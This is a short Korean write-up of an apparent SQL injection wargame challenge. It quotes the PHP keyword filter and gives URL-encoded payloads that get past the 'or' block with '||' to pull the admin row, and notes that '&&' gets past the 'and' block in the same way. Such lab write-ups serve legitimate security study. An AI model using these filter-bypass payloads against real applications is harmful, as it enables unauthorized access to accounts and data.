Write-Up
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
이번 문제의 필터링은 위와 같다. or 와 and가 필터링 되고 있다. 아래와 같은 payload로 or 우회를 시도해본다.
?pw=%27||%201=1%23
|| 로 or 우회가 되면서, guest id가 조회된다. 다시 아래와 같은 payload를 통해 admin을 조회하고, 문제를 해결한다!
?pw=%27||%20id%20like%20%27admin%27%23
or 필터링은 || 로 우회가 가능하며, and 필터링은 &&로 우회가 가능하다.